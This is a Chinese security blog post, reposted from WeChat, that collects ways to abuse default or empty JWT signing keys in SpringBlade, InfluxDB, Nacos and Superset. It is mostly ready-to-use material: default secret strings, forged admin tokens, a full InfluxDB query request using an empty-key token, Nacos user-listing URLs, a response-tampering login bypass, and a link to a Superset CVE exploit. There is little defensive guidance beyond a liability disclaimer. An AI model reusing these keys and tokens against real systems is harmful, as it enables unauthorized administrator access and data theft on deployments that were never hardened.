1、Spring blade jwt默认密钥
默认密钥
bladexisapowerfulmicroservicearchitectureupgradedandoptimizedfromacommercialproject{"tenant_id": "000000","tenant_code":"000000","user_name": "admin","role_name": "administrator","nick_name": "管理员","account": "admin"}
2、influxDB 空密钥
{"alg": "HS256","typ": "JWT"}{"username": "admin","exp": 1716239022}
空密钥
POST /query HTTP/1.1Host: 192.168.124.3:8086Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzE2MjM5MDIyfQ.jo8FUdPG0-_DBrXzkWvIja5fNbK-1rgs8pss46nKJuEUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 22db=sample&q=show+users
SecretKey012345678901234567890123456789012345678901234567890123456789密钥需要进行base64加密，记得勾选下
时间戳需要大于目前时间
V 1.4.2读取用户列表
/v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMzkxMzUxOX0.5GtqiosqezbWQUgLxEjqrbtKFcdD0bVv9ht_hggRR44V 2.2.0 需要增加search参数
/nacos/v1/auth/users?search=blur&pageNo=1&pageSize=1&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMzkxMzUxOX0.5GtqiosqezbWQUgLxEjqrbtKFcdD0bVv9ht_hggRR44存在auth/users接口的登录绕过，拦截响应包，改为
{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU","tokenTtl": 18000,"globalAdmin": true,"username":"nacos"}
测试发现0.8.0版本不存在auth/users接口，它的登录绕过的响应包构造成如下形式
{"sub": "nacos","auth": "","exp": 1704423328}
HTTP/2 200 OKDate: Tue, 02 Jan 2024 02:08:34 GMTContent-Type: application/json;charset=UTF-8Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImF1dGgiOiIiLCJleHAiOjE3MDQ0MjMzMjh9.IV97OBWpBmogVI7xf7AFLZEn28SHtOHbOmJabqXPhbM{"code":200,"message":"null","data":"Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImF1dGgiOiIiLCJleHAiOjE3MDQ0MjMzMjh9.IV97OBWpBmogVI7xf7AFLZEn28SHtOHbOmJabqXPhbM"}
4、Superset默认密钥
SECRET_KEYS = [b'x02x01thisismyscretkeyx01x02\e\y\y\h', # version < 1.4.1b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1b'thisISaSECRET_1234', # deployment templateb'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentationb'TEST_NON_DEV_SECRET' # docker compose]
利用：https://github.com/horizon3ai/CVE-2023-27524
原文始发于微信公众号（安全艺术）：记录一些JWT默认密钥的玩法
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论